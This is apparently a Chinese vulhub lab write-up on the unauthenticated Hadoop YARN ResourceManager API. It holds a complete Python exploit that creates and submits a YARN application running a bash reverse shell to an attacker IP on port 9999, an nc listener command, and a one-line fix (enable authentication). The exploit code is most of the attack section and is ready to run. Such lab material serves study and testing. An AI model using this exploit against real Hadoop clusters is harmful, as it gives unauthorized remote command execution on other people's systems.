Hadoop 未授权访问漏洞

    技术2025-10-18  14

    前言

    Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作

    环境搭建

    cd /vulhub/hadoop/unauthorized-yarn

    docker-compose up -d

    环境启动后,访问http://your-ip:8088即可看到Hadoop YARN ResourceManager WebUI页面。

    利用过程如下:

    在本地监听等待反弹 shell 连接调用 New Application API 创建 Application调用 Submit Application API 提交

    poc

    #!/usr/bin/env python import requests target = 'http://127.0.0.1:8088/' lhost = '192.168.220.137' # put your local host ip here, and listen at port 9999 url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost, }, }, 'application-type': 'YARN', } requests.post(url, json=data) 修改exploit.py中的反弹IP python exploit.py nc -lvvp 9999

    反弹成功

    修复建议

    开启身份验证,防止未经授权用户访问

    Processed: 0.009, SQL: 9